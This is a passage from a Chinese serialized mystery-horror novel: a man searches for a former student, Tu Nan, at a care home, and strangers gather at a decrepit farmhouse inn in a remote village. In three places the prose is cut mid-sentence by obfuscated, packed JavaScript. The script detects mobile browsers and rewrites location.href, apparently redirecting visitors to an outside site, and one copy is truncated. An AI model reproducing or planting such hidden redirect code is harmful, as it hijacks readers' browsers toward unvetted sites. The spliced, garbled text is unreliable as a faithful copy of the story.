颜鹭尧看了那位师兄一眼,推了下眼镜,把话接了过去:“对,我们不是有意瞒你,只是洪涛突然离世给你们家里人已经带来了挺大打击,不想再因为一些不想干的事影响你们的心情……屠南是我们学院一位生病退学的学姐。她姓屠,尸者屠。刚才晨光突然说图南,我们大家猛地听到,都想岔了。” 又有南字!而且还是同学!余一舟感觉七万块离自己越来越近。 “冒昧问一句,这位屠南师姐生的什么病?是和我表弟一样,压力太大……”他记得李春梅说过沈垚有个学生得了精神病退学,怕直接问太唐突,只能拐弯抹角。 这次连那位不修边幅的师兄都不说话了,还是颜鹭尧代表大家发言:“具体情况我们也不清楚,听说是一种精神方面的疾病。” 颜鹭尧点到为止,那件事是学院的敏感话题,大家怕受处分,谁也不愿意再多提一个字。 还是精神病!余一舟基本断定这个神秘女人就是屠南。 为了不引起校方注意,同时也再最后验证一下猜测,他委婉提出想要一张屠南的正面照,看看她是不是去了张洪涛追悼仪式随礼但没有登记名字的人。 这个借口听起来不算过分,只是这些学生大多都比屠南小几届,只有快毕业的几位师兄师姐见过她。大家翻遍手机和朋友圈,也没找到一张与屠南的合影。 余一舟只能从大家的只言片语中收集信息。 比如,屠南的身高在162、163左右,身材匀称,一看就是经常运动的人。低马尾,戴黑框眼镜,平常总是独来独往在三点一线,图书馆、食堂和寝室。有点高冷,整个人有种檀木雪松的气质。 长相,因为她总戴着棒球帽,且和这几人交集不多,大家的印象都不太深。 身高、体型和棒球帽与那张照片全然吻合,就是同学们基本不清楚屠南的下落,也不肯透露更多校庆活动的信息。 接下来该去哪里找她? 一口毛血旺的红油进入气管,意外打开了余一舟迟滞的思路。 沈垚母亲说的安南,会不会是阿南,而阿南就是指屠南。如果老人有口音或口齿不清,安和阿两个字听起来相近。 ******* 余一舟的下一步计划与李春梅不谋而合,去养老院看望沈垚的母亲陈碧君。 和答谢宴同理,这次探望也没让李春梅参与,只是请她代买些水果。 陈碧君住的是个两人间,床位在走廊尽头靠窗。 余一舟进去时,她就坐在床上,呆呆地看着窗外的远山。老人头发花白,但身子骨看着还算硬朗。 “陈奶奶您好!我是北城大学的余一舟,您这段时间过得还好吗?” 见回过头来的陈碧君一言不发,眼神空洞,余一舟把果篮放在老人床头,顺势坐在旁边的空床上,准备再碰碰运气。 “陈奶奶,您认识屠南吗?” “不认得……”老人摇头,目光中有些不安和冷漠。 余一舟锲而不舍,换了种问法:“那……最近还有谁来看过您?” 陈碧君有些无措:“我脑子不好,请问你是?” “我是沈老师的学生,专程来看望您老人家的。” 听到沈老师三个字,陈碧君浑浊的眸子亮了,好像想起了什么:“哦!沈老师他还好吗?” 余一舟刚看到希望,又被老人一句话兜头浇了盆凉水—— “我最喜欢听他的数学课了。” 沈垚什么时候变成数学老师了?看来两人说的根本不是同一件事。 见余一舟不说话,陈碧君继续问:“你是哪个班的?” 余一舟支支吾吾:“我是……二班的?” 毕竟是瞎编,没什么底气,这句话尾音拖得很长。若是普通人大概会立刻起疑,不过陈碧君早已失去了分辨能力。 “我是一班的,怪不得没见过你。” “那您知道阿南是哪个班的吗?” “阿南?阿南是我姐姐,不是咱们学校的。” 余一舟彻底碎了,这剩下的七万块还真不是好挣的。和陈碧君讲话,就像在某购物APP上砍一刀,每次都以为是最后一刀,其实距离最后一刀也就差个10001刀。 打探消息不成,就当献爱心了。 余一舟从果篮里挑了两个品相不错的蛇果:“我带了水果,给您洗水果吃!” 陈碧君热情地夺过苹果,快步走向洗手间:“我来我来,哪能让客人动手。” 怕她摔着,余一舟也跟了过去,帮她开灯,挽衣袖。袖子提到小臂,老人皱巴巴的皮肤上,现出一个蚕豆大小的刺青,一个圆圈一个点,和张洪涛掌心的符号一样! “节约用水,人人有责。”陈碧君自言自语地关上龙头,拽了条毛巾擦干苹果上的水,给余一舟一个,自己吃一个。 余一舟顾不得接苹果,跌跌撞撞地离开了陈碧君的房间,找到两个正在其他房间帮失智老大爷换衣服的护工。 余一舟借搭把手的机会,趁机问:“大姐,请问这层楼的陈碧君老人住进来多久了?” 胸牌上写着毛丽的短发护工边忙边回答:“四五年吧,怎么了?” “那她这个病多少年了?”余一舟指了指脑袋。 “进来时就有,越来越重。不过陈奶奶还不算这里面最严重的……” 余一舟想起李春梅说的精神控制,他原本不信,但看到陈碧君手臂上的刺青,他动摇了,难道这并不是普通的老年痴呆,而是精神控制? “大姐,麻烦您帮忙看看平常有没有一个长这样的年轻女孩来找陈奶奶。”余一舟打开那张背影照,放大,隐去张洪涛。 毛丽正要看照片认人,被旁边一位戴口罩的女护工拉住。 “小伙子,你是谁的家属?问这个干什么?” 看胸牌,这个半路杀出来的女人叫孙淑敏。 余一舟故作镇定:“大姐你好,我是陈奶奶儿子沈垚教授学校的工作人员,我们学校了解到陈奶奶的情况,请了一位同学过来看望老人,但我刚问奶奶,说从没见过她来,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14821819|158733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想看看她是不是偷懒了。” 孙淑敏打量余一舟,又凑近看了眼照片:“是学生啊……那应该不是小黄。” “小黄?” 孙淑敏扯过他的胳膊,又看了一眼手机:“对,这个背影像小黄,不过小黄是陈奶奶家亲戚雇的,经常过来给她送水果点心,陪她聊天。” 余一舟激动追问:“那小黄一般都什么时候来?” 孙淑敏想了想:“今天周四,应该就是今天,你要干嘛?” “代表学校,慰问一下。” 见毛丽和孙淑敏没起疑,余一舟去门口的活动区找了个空座,边看老大爷们下象棋边盯着楼层入口,守株待兔。 工作日的养老院探视的人不多,过了差不多半个小时才进来一个人。余一舟睁大了眼,棒球帽、低马尾、格子衬衫! “屠,屠南?” 他火箭发射般从活动室的凳子上弹起,试探地朝那个匆匆走过的背影喊了一声。 只是背影好像没听见,没有任何反应。 他跟着背影进了陈碧君的房间,对方就坐在陈碧君床前的椅子上,背对着他。 “屠南。”他又叫了一声,并走上前,伸手拍了拍女人的肩膀。 只见女人缓缓回头,露出与背影相同的头发和玳瑁色电话线头绳。 背影的背面还是背影,余一舟抖如筛糠。终于情绪失控,喊了出来。 眨眼的功夫,冷水从天而降,再睁开眼,是拿着空玻璃杯、眼神充满疑惑的田嘉茵。 “喊什么呢?” 余一舟拉过田嘉茵的手,没有那个符号,松了口气。 田嘉茵抽了两张面巾纸丢在他脸上,让他自己把水擦干。 “不是说下午要去大学城摇奶茶,我一回来就看你躺在沙发上大喊大叫,叫也叫不醒,吓死我了。” “我做噩梦了……” ******* 养老院的员工宿舍就是些没住人的空房间。 毛丽白班,交完班换了衣服,准备简单收拾一下回去跳广场舞,正赶上孙淑敏从外面回来。 “孙姐,你今天跟那个小伙子说的小黄是谁?我记得之前总来看陈奶奶的是个男孩,跟我儿子差不多大,姓张,叫张什么涛。不过他也有段时间没来了……” 孙淑敏边换衣服边应付:“哦,那应该是我记岔了。” “还有啊,你下楼了没看到,那小伙子奇奇怪怪的,一直叫着什么图兰,还拍我肩膀,我一回头,他跟见鬼似的跑走了。” 孙淑敏顿了顿:“那人就是个骗子,你手机里没下反诈应用吧。” 毛丽被她逗乐了:“我那手机内存早满了。” “把没用的照片视频删一删,就有位置了。” 这些同事里,毛丽最佩服孙淑敏,年轻人会的玩意她都懂,她这手机赶明还得找她帮忙搞搞,不过这些都是后话了。 “你怎么知道他是骗子?”毛丽听出孙淑敏揶揄她,反诈应用她知道,只能屏蔽诈骗电话,哪还真能提醒她身边哪个人是骗子。 “你见过谁找人拿个照片问背影的。” 毛丽想了想,一副大事不妙的样子:“不会是个便衣警察吧。” 孙淑敏撇嘴:“就他那个小身板哪有点警察的样子。” “那就是犯罪分子?要不咱们还是跟院里讲一声,报警吧!”毛丽被自己的推测吓了一跳,表情难看的好像是自己已经成了罪犯同伙,影响到了下一代考公。 孙淑敏无奈摇头,拿着洗漱筐进了洗手间:“毛啊,快别浪费警察同志宝贵的时间了……估计不是卖药的,就是卖保险的,看咱俩警惕性强,编个瞎话逃走了。这些人都喜欢骗老人,尤其是陈碧君这样的孤寡老人。” “哎呀!你一说我才想起来,这个不会就是他留下来的吧,我下午在陈碧君床下捡到的……”毛丽从裤子口袋里掏出张名片大小的对折小卡,递给孙淑敏。 卡片精致,散发着淡淡药香,正面赫赫然四个大字——王安济堂,卖药的。 毛丽走后,孙淑敏反锁了洗手间的门。卸妆,洗澡。把皱纹和赘肉一点一点从一个轻微发福的中年女人身上拿下来…… 再擦干镜子上的水蒸气时,站在那里的已是一个年轻女人。 年轻女人对着镜子,在她长久的凝视中,身后的白色瓷砖一片一片化为黑色留白,一朵花瓣纹路像人体毛细血管的腥红色天仙子缓缓绽放,与所有脉络相连的花蕊像一颗跳动的心脏,几乎要跃出镜面。 她调整呼吸,深呼吸了几口,接着拿起手机,向通讯录里一个名叫赵医生的人发出求助短信——赵医生,我是屠南。我又看到了,这次是会动的花。 5. 李家大院 黄水铺的中心医院对面,是客运小巴上车的地方,算是一个小型的游客集散中心。 由于海拔较高、气温偏低,每年夏天都有一小撮避暑游客在此分流,被输送到周边有农家乐、民宿的村镇。 四川盆地的副热带高压越活跃,中心医院对面的面馆生意越好。 靠马路边边唯一一家还有空位的面馆里,屠南推着一只黑色行李箱,绕过一对纠结是棍棍面好吃,还是韭叶面好吃的情侣,站在窗口前,在选择面的浇头上迟迟拿不定主意。 杂酱?鸡杂?还是泡椒猪肝…… 在她身后,一位拿着车钥匙看起来像是自驾路过的急性子大哥对于屠南的犹豫焦急万分,仰起脖子急吼吼地给老板报上菜名,一屁股坐在店里唯一一张空桌的座位上,嘴里还评价着屠南这身连衣裙配长靴的搭配。 见屠南转身看向大哥,坐到大哥旁边的大姐立刻打圆场,朝大哥的胳膊拍了一巴掌:“啥子哦,人家妹妹是西伯利亚风。” 屠南一时没听出来大姐这是明嘲还是暗讽,多亏面馆老板提点:“西伯利亚风吹到黄水铺,街上要跑北极熊猫儿了迈?” 旁边桌吃盖饭的年轻女孩被面馆老板逗得差点喷饭,替大姐向屠南解释:“她应该是想说你穿的是波西米亚风。” 屠南看了看身上的白色连衣长裙、牛仔流苏马甲、牛皮靴,确实有点那个意思,后知后觉地笑了。 点了个小份鸡杂面,屠南被分不清西伯利亚和波西米亚的热情大姐邀请同坐。解开刚才的误会,大家打开了话头,自然地聊起来。 有人接着前话说,这地方虽没有西伯利亚凉快,但也比主城、四川那边安逸。 看屠南闷声吃面,大姐主动问她是来避暑的吗?准备去哪? “石船村。” 周围人都没听说过这个地方,更别提去过,只有替大姐解围的年轻女孩知道。 女孩说石船村就在盘头天坑后边,那地方只有一个农家乐,叫李家大院。她有个朋友之前怕开夜车走山路危险,导航到了那,想住一晚第二天天亮了再走,结果老板说住满了,连夜把他们一行人赶出了村。 大姐是个性情中人,听说这种情况,立刻隔空声援,痛骂农家乐老板。 也有几个理性的食客表示没房正常,但哪怕让人坐着休息会,或者把车停在村子里休息会,也比把人赶出去强。 女孩摇头:“不可能没房!我朋友亲眼看到那些窗户没拉窗帘没亮灯,房间里头黢黑,好吓人哦。而且半夜吵架,如果有人,肯定会有声音,但他们后来回想,都说那晚安静得可怕……” 女孩用“有点神”形容李家大院那位年轻的女老板。 屠南没搞懂本地方言里的“神”是什么意思,有人开玩笑说神就是夸她厉害,也有人认真解释说“神”就是指那个女的神搓搓,神经兮兮…… 女孩看着屠南一脸认真的样子,有些尴尬:“你见到她就晓得了。” 也有食客劝屠南干脆别去那种地方,如果是在平台上订的都是可以退的。离这不远就有好多性价比高的农家乐,单人间长租一个月就1500-1800块左右,还管饭,好耍又服务好,可以打麻将、耍水,边打麻将边耍水,坐在水里打麻将…… 大家正聊得热火朝天,一个身材瘦长、小麦色皮肤的年轻女孩走进面馆。霸气地扫视一圈,她走到屠南那桌,在桌子上敲了三下:“莉莉丝图是你哇?电话不接……手机摆设哦?” 莉莉丝图是屠南和石船村民宿老板李萍联系时用的微信名。她们约定在中心医院对面见面,接送客也是李家大院为数不多的“增值服务”。 屠南咬断嘴里浸满红油的面条,看了看忘开铃声的手机,又抬头看向穿着宽松白T、篮球短裤的女孩:“你是李萍?” 李萍鼻孔嗤气,指了指旁边的大行李箱:“你的箱子哇?” 这次没等屠南说话,一旁被李萍敲桌子吓到的自驾大哥操着椒盐普通话:“天气热,小点火气。对外地游客朋友态度要温柔,注意咱们本地的旅游形象。” 李萍没理会大哥,不等屠南回答,就在旁人的指点中推着箱子装车去了。 箱子重的超乎她的想象,出店门时一个趔趄差点毁了她冷酷无情的人物形象。 等屠南擦了嘴,和食客们道别完追出来时,她已经坐在驾驶室里不耐烦地敲方向盘了…… 李萍开的是个小面包车,后排座位都拆了,就剩副驾的位置能坐人。屠南没得选,只能坐她旁边。 从上车开始,十几分钟过去,两人的对话只有一句“系好安全带”。 后来,屠南一时兴起,问了句李家大院的生意,也被李萍的一句“还行”及时终结了话题。 从地图上看,石船村与黄水铺的绝对距离不算远,但地形复杂。大概二三十分钟,下了大路,左转右转几次,又盘山走了一段,窗外的风景逐渐从烟火气过渡到了隔绝孤立。 屠南静静看着山谷里被树林包围的村庄,这就是石船村,准确的说是老石船村。 沈垚曾跟她说过,石船村当年因为地质灾害频发,整体搬迁到了山的另一边,但一小部分念旧的老人不顾劝阻又回到这里。据这些老人说,天灾是因为村子废止了夏节庆典,忤逆“神”意,才受到惩罚……也是凑巧,恢复了庆典的老石船村再未遭遇天灾,但村子似乎也再未得到“神”的庇佑,不可逆转地走向衰落。 除了一两处梯田,村里的房子多是沿着一条乡间小路排列。 太阳光隔着几片薄云落在一个个积水的屋顶上,像是无数面镜子向天展示着无可言说的绝望与无力,与二三处夹在其中灿烂盛放的栾树丛形成鲜明对比…… 面包车驶入又驶离了一片巨大怪异的树丛,屠南的思绪也被拉回眼前,她最关注的问题上。 “请问,夏节庆典什么时候开始?” 李萍没回答,而是在村口的泥巴地上突然玩了个神龙摆尾,本来就快散架的面包车这下彻底歇菜。即便如此,她依旧不客气,让屠南下车帮忙推一把。屠南刚走到车尾,手上还没用力,就吃了一口尾气。 看着面包车“蹒跚”的背影,她好像明白了什么是面馆女孩说的“神”。 ******* 屠南以为自己这个房客被民宿老板扔在村口已经够不幸了,没想到天公也不作美,这时下起大雨。 雨来得比面馆大哥点单还急,巨大的雷声像是野兽嚎叫,要把一切完整的东西撕碎。 老石船村不比荒山野岭强多少,打眼望去,最近的避雨点是村外道旁的一辆小卡车。 屠南贴着树荫跑过去,没淋到多少雨。敲了敲车玻璃,里面丝毫没被雷雨声影响午睡的中年男司机懒洋洋睁开眼,把架在高处的脚收了回去:“好大的雨哦!” 小卡车其实是个流动商店,大哥平日开着它往返于周边村镇送货、卖货。从农副产品到零食百货,后车厢里一应俱全。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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大哥点上烟,猛吸一口,摇着头从鼻腔里喷出烟雾,嘴上笑话屠南年纪轻没经验,还猜测住进李家大院的另外两个人也是这么被骗来的…… “想看天坑去奉节,去武隆,这个天坑算啥子景点,危险!” 在大哥的描述中,石船村旁边的天坑简直是龙潭虎穴。 悬崖峭壁上到处都是年代不详的船棺,而且是空棺!解放后一拨有武装的土匪为了逃避追捕,躲进天坑,最后没有一个活着出来,而且都是生不见人死不见尸。遇到个下雨打雷的天气,时而还能听到小娃儿的哭声。有人说天坑里有一道通阴界的鬼门,船棺里的尸体都是被阴差收走,还有那些土匪,就是不小心闯入了鬼门才…… “鬼门?” 屠南只听说过鬼城丰都有“鬼门关”,要说很多地方都有天坑不假,但阴间总不可能跟住宅小区似的,还得修个东西南北门吧。再说,阴差不都索魂吗,谁家好鬼要尸体? 大哥没多解释,只是加重语气地“哦”了一声,表示肯定。 “那小孩子的哭声是因为之前有小孩在那里面走丢了?” 大哥解释不出,终于承认自己也是听人说的,具体细节搞不清。他只知道因为村子主体搬走了,没有小孩玩闹,那地方已经好久没有闹出人命了。不过,几年前还是有个大人在那个天坑里走丢了。 大哥正色:“生不见人,死不见尸。好像还是个大学老师……” 雨停了,大哥准备去下一站送货。 临走前,他把手机号留给了屠南,说她要是出去找不到车,可以和自己联系,价格从优。 屠南存下大哥的手机号,下了车和他挥手告别。 大哥对着后视镜点头示意,看着逐渐变小的人影,心中陡然生出一丝疑惑——这个来石船村看星星的年轻女人,好像在哪见过。 6. 漏水的储藏间 李家大院是一个白色外墙的三层小楼与三间老旧的木质瓦房组成的。 招牌就立在门口的空地上。斑驳的红色广告牌上写着“农家乐、棋牌、品茶”还有一串联系电话。立牌底下压了两块大石头,防止牌子被风吹倒。 双人间在三层小楼的第二层。 余一舟放下背包,拉开一股霉味的红色窗帘。窗户外面,三间瓦房门窗紧闭,木头窗格后面好像还有层塑料膜,完全看不清里面有什么。 三间瓦房围出的一方小院里也混乱不堪,长满绿苔但没有水的石头水缸,没有鞋带的运动鞋,两条悬挂的铁丝上同时晒着蔬菜,内衣,袜子和床单被套。 要不是李春梅非要约屠南来这,他是绝对不会花两百多一天住在这个地方的…… “老板,这漏水了!” 叫嚷的是个年轻男人,余一舟双人间的拼房室友,周筱安。 这人也是个奇人。年纪轻轻,样貌身材绝对对得起“帅哥”这个被滥用的称谓,从头发丝儿精致到手指甲,一走一过身上还散发着一种淡淡的、说不上是什么味的清香。 就是这样一个该出现在都市CBD背景里的精致范路人甲,却跑到这个地图导航都不好找的地方,和自己一起挤地上水没擦干的农家乐双人间,有种硬到乡村恐怖悬疑片里刷存在感的奇特观感。 余一舟在心里默默总结出对周筱安的第一印象——身份、目的存疑。 周筱安连叫多声都无人回应,正准备亲自上楼看看,一直不出声的老板李萍突然丧着脸出现在房间门口:“叫啥子。” 余一舟和周筱安都被她吓了一跳,大眼瞪小眼,一时不知道说什么,看她转身要走,才去拦。 “老板,等一下,你也不能光知道挣房钱,不管顾客体验吧。你看,这房间都漏水了,让人怎么住!” 周筱安说的漏水的地方正对着他睡的那张床的枕头,好在漏水点不大,水滴得在天花板上积一段时间,才会掉在发黄的枕套上。 李萍看了一眼,转身不知道去哪拿来一个脏兮兮的绿色塑料盆递给他:“用这个接。” 周筱安接过盆,人和手僵在一处:“这就行了?对面那个房间……” 双人间斜对面的确还有一个房间,门上贴了个“大床房”的牌子,估计条件应该会比这边好点。不过这个想法还没说完,就被李萍否决了。 “预定了。” 周筱安显然不相信李萍的话:“我知道你们的套路,我们进来的时候一个人都没看到,哪有那么多客人。我加钱,给我换个好点的。” 人嘛,怎么会跟钱过不去。 李萍听说加钱,立刻打起精神:“加好多?” 周筱安伸出两根手指,见李萍无动于衷,又伸出三根,三倍已经是他的底线了,他虽然不缺钱,但也不是个傻子,这个地方连它本来的价格都不值。 当李萍得知三根手指是两百的三倍六百的意思,答应得十分爽快:“楼上要得不嘛?打整一下也能住,比这间小点。” 余一舟对这种当面漫天要价的行为极为不齿,况且:“楼上不是在漏水吗?” 李萍顿了顿,神情有些古怪:“那是旁边的……储藏间。” 周筱安一脸嫌弃地锁紧眉头:“储藏间漏水你们也不修!东西受潮会发霉,病从口入,人吃了发霉的东西会生病……” 李萍没那个闲工夫听他科普什么黄曲霉素,只见她从余一舟面前经过,拿起周筱安放在地上的旅行包,云淡风轻:“没得事,不是给人吃的……走吧。” “那是给什么吃的?” 余一舟观察过,李萍家很乱,有农具,有化肥袋,可完全没有饲养动物的痕迹。所以即便乱,却没有异味。 李萍冷漠地看了他一眼,岔开话题:“你也换房?” 余一舟自从失业后一提钱就肉疼,这几乎已经成了他的死穴,李萍也算一下抓住了主要矛盾。 “不用,我这没漏水,我睡这张就行……” ******* 屠南是从村口一步一步走到李家大院的。 一路上只有湿腻的风,没有风景。 除了两三间被废弃的民房,就是复制粘贴的树和山,直到看到停在一座白色小楼前面的面包车,才算看到了终点。 李萍没露面,只给她在微信上留了言。房间是二楼的大床房,钥匙在门口的地垫下。 屠南自己打开门,行李箱安然躺在床前的空地上。她没设密码,直觉告诉她,箱子被人打开过。 她的直觉没错。 大概一个多小时前,李萍把她的行李箱搬进房间,又偷偷关上门,打开了箱子。 箱子里的东西出乎意料,除了装在塑料袋里的几件换洗衣服和洗漱用品,就是各式各样的工具,钳子、榔头、锯子、撬棍、工兵铲、绳索……除了这些认得出来的,还有些她见都没见过,看这架势像是拆迁队搞团建,怪不得那么重…… 屠南漫无目的地拿出箱子里的工具,一样一样摆在地上。 突然,一阵东西摔碎和物体拖行的声音从楼上传来。 她抬头看向四角都是蛛网的天花板,难道货车司机说的除她之外来石船村的人住在楼上?会不会是约她来这的李春梅? 屠南正思考,耳旁传来“噌噌噌”的动静,好像有什么东西在蹭她的门缝。 蹑手蹑脚走到门前,倏地打开门,是李萍在用一把干拖布拖房间门口的走廊,眼睛还有一搭没一搭地朝她身后看。 “楼上住的什么人,这么吵?” 见屠南没提刚才的事,李萍好像把她扔在村口的事完全没发生,丝毫不心虚,气定神闲地拄着拖把,下巴朝三楼楼梯方向一怼:“楼上储藏间漏水,在找人修……” 屠南看旁边的双人间房门紧闭:“其他人呢?都出去了?” 李萍继续鼓弄拖把,一个横扫逼得她退回了房间:“出去了,你要想出去玩,最好现在去,这里天黑不出门……” “为什么?治安不好?” 李萍停下来,看着窗外:“小心熊出没……” 屠南点点头,又指了指楼梯正对的一个门半掩的房间,“洗澡是在那吗?” “楼下。” ******* 看李萍一直在二三楼之间上蹿下跳,屠南带着洗漱包和换洗衣服下了一楼。 李家大院这个浴室,说是浴室,其实连热水都没有,顶多算个冲凉房。花洒下面放了张发黑的小饭馆同款红色防滑垫,脏兮兮的暗色浴帘外还摆了台碍事的老式半自动洗衣机。 屠南看着洗衣机和又小又高的通气窗陷入沉思,她想从这个通向后院唯一开着的出口出去,但它太小,也太高了。 但如果踩在洗衣机上……她试着推了推,洗衣机重得离谱,就算使出全身力气,仍然纹丝不动,她可是有背楼下老奶奶去医院的力气,什么洗衣机会这么重? 好奇打开桶盖,里面竟蜷缩着一个浑身赤裸的女人! “你……你你是谁?” 女人站起身,露出诡异的笑容:“你不记得我了?” 虽然都是女人,屠南完全不敢直视对方,只是经过刚才那一幕,她隐约看到女人的长发垂在胸前,皮肤白净,黑曜石般明亮的眼睛和挺秀的鼻梁,都让她感觉陌生又熟悉。 加上女人问自己的那句话,她有种强烈的预感,女人和她失去的前十八年记忆有关。 女人见她不说话,跳出洗衣机,来到她身后,将胳膊轻轻搭在她的肩上:“我找你很久了,他们可真会藏。” 她吐出的气很凉,屠南打了个寒颤:“他们是谁?谁会藏?” 女人失望地皱眉:“你不是莲芝?” “莲芝又是谁?” “你在她的身体里,却不知道她是谁!”女人声音很轻,语气却很重。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14821821|158733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“你可能和我一样,需要看看医生……” 屠南鼓起勇气摆脱了女人,但很快又被女人贴了上去。 “好主意,带我去见你的医生!” “这病精神病医院都能治,不用非找我的医生。” 女人看她害怕,像是打了鸡血,更加兴奋了。她反锁上门,把屠南逼进角落:“我猜,你一定是把以前的事都忘了,这样如何,你带我去见你的医生,作为交换,我告诉你……” 女人大概是想说以前的事,但话还没出口就被屠南拒绝了:“不用,我不想知道,现在这样就很好。” 女人哂笑:“果然不是莲芝,虽然都是呆呆的,不过你这个呆子胆子很小。” 屠南不再理会她,仰头看向那个换气扇大小的窗口。 “别看了,胆小的人是爬不上去的,快回去住你的精神病院吧……”女人像一只水妖,连同她的恶语一直徘徊在屠南身边,憋得她喘不过气。 “你是谁?为什么躲在这?” 女人回答:“阿南刻。” 阿南刻在古希腊语里是必然性的意思,也是命运和宿命的神格化,这名字不是一般中二症能起出来的。 “命运?” “可以这么说。” “那你认识李春梅?” “去看看不就知道了。”阿南刻拉上浴帘,打开花洒,从屠南身后绕到墙边,轻松地攀上了窗台。 “等等!” 屠南移开视线,举起手里的换洗衣服,生怕她一个不注意,阿南刻就这样光着身子窜进后院…… “多谢。”阿南刻穿上屠南的黑色短袖T恤和海绵宝宝图案的家居裤,重新攀上窗台,翻了过去。 接着又折返回来,伸手拉她。 “你的事我没兴趣。不过看在你刚才借我衣服的份上,我可以免费拉你一把。” 屠南犹豫片刻,还是脑袋一热抓住了她的手。接着她整个人都被阿南刻甩了起来,差点脑袋朝地摔个头破血流。 反观阿南刻,单手探地,双脚紧随其后,全程丝滑,几乎没有发出声音。 屠南是来找李春梅的,虽然对阿南刻的一切充满疑问,但此时她的目标还是二楼双人间。 阿南刻似乎会读心术,一眼就看出了她的目的,不待她开口,就借力一楼窗台纵身一跃,一把抓住了二楼房间的窗沿。 屠南没有她的弹跳力,老老实实搬来了院子里闲置的木梯,又被她拉了一把,也攀上了二楼窗台。 事实证明,这个动作虽险,但值得。 双人间的窗帘没拉,透过窗户可以清楚看见躺在床上的人就是拿着她的照片去养老院瞎打听的小子,余一舟! 他和李春梅是一伙的,出现在这也正常。不过他没出门,李萍果然在撒谎。 三楼的房间窗帘紧闭,阿南刻说了句白费力气,就贴着墙滑了下去。屠南光靠自己也上不去,只能小心翼翼地顺着梯子爬下来。 “谢了。” 她话音刚落,阿南刻像是受惊的兔子,突然翻窗回了浴室。 果然“免费拉一把”真的只有一把,好在院子里有木梯。屠南艰难落地的那一刻,浴室门被人打开了。 她掀开浴帘,以为会是阿南刻。然而阿南刻早已不见踪影,只有李萍叉着腰,气鼓鼓地站在门口,用手指戳着洗衣机上方的用宽胶带贴在打印纸上的温馨提示:“门锁已坏,请勿擅自反锁房门,如房门无法打开,需照价赔偿。” 这算什么提示,浴室又不是博物馆,不让锁门难道还开门鼓励大家参观。再说阿南刻不是出去了吗,房门怎么会还是反锁的…… 想着一会还有求于人,不好太早撕破脸皮,屠南忍气吞声:“刚没看到,我下次注意……对了,刚才有个女人出去了,你看到她往哪边去了吗?她把我的换洗衣服穿走了……” “不晓得,贵重财产请自行保管,丢失本店概不负责!” 7. 荒村 双人间的床单比返潮的地面干爽不了多少,余一舟翻来覆去,一会就没了睡意。 挣扎半天坐起身,四肢莫名其妙酸痛得厉害。想拿起放在床头柜上充电的手机看眼时间都拿不稳,手机屏朝下,啪的一声,摔得他心碎。 他鞋都顾不得穿,光脚下床去捡,结果脚底板打滑,一个趔趄彻底把手机踢进床底。 “艹!” 那一脚明明没多用力,但摸了半天也没摸到手机的边。 继续摆动手臂,扩大搜索范围,结果没碰到手机,却碰到一个凉嗖嗖的死物,那触感正像是他第一次见李春梅后,回家做噩梦时摸到的那双手。 “张洪涛!” 他触电般缩回手,连抽自己几个耳光,脸火辣辣的疼,眼前的情景没变,这次真不是做梦。 也许只是最近工作太卖力,累出幻觉了。手摸为虚,眼见为实,为了彻底打消心里的疑惑,最主要还是挽回经济损失,他鼓足勇气俯下身,看向床底。 “人偶!” 横在他面前的是一个服装店陈列模特,他的手机在模特的屁股附近。为了带出手机,他不得已将人偶拖出。 万幸碎的只是手机膜,余一舟里里外外给手机做了个全面检查,确定没事,才想起被床沿卡住、露出小半边身子的人偶。 “什么玩意儿,不伦不类的……” 人偶的脸是欧美风,但身上穿着黑色对襟上衣和麻布裤子,再加上一双出戏的劳保鞋,有种吃了奶油芝士味老北京炸酱面的拧巴感。 “没有,没有,没有……” 余一舟突然想起什么,翻开人偶的手,一颗悬着的心彻底死了,人偶的手心居然也有那个像“靶子”一样的图案! 人偶被他连踢带踹“送”回了床底,出于一位非著名侦探的直觉,张洪涛的自杀极有可能与石船村有关。而且如果他预料不错,李春梅一定是知道了什么,才会约屠南在这里见面。 余一舟敷衍地拍了拍屁股上的灰坐在床边,脑中浮现一个人名,沈垚。 李春梅曾说沈垚是在西南地区失踪,石船村也在西南。他被十万块引导着,只有找到屠南这一个目标,所以忽略了这个和所有人都有关的人。 他拿出手机,在搜索框输入了“沈垚北城大学”。浏览器迟迟加载不出想看的页面,短信倒是给他带来了不想看的讯息。 又是张建平的“小作文”,通篇警告,威胁他如果再不告知李春梅的下落,就要报警说余一舟绑架妻子,让他留下案底永远找不到好工作。 其实,如果找不到好工作还不愁钱花,这条绝对可以算祝福。 不过对于他这种从小买饮料连“再来一瓶”都没中过的人来说,这种想法不用劳烦泊松、贝叶斯,他就知道概率无限接近于0。 为了没到手的七万块,他还是抬起重的要死的屁股去找李春梅。 刚按下房门把手,门的另一边传来短促的敲门声。 是周筱安,空欢喜比一日三餐还来的都准时。 “房间好闷,一起出去走走?” 周筱安从一身户外风格换成了亚麻衬衫和牛仔裤。 余一舟正腹诽,这人得多骚包住个农家乐还跟参加时装秀似的,突然发现他身后的大床房房门开了个缝。 他快速关上双人间的门,利用空气对流把对门那个细小的缝隙推出去有一人宽。 透过门缝,可以看到地上敞开的行李箱,和摆在箱子旁边的工具。 “这老板还算听劝,我刚说完,这就请人来维修漏水了。”周筱安收回目光,帮未曾谋面的屋主人带上了门。 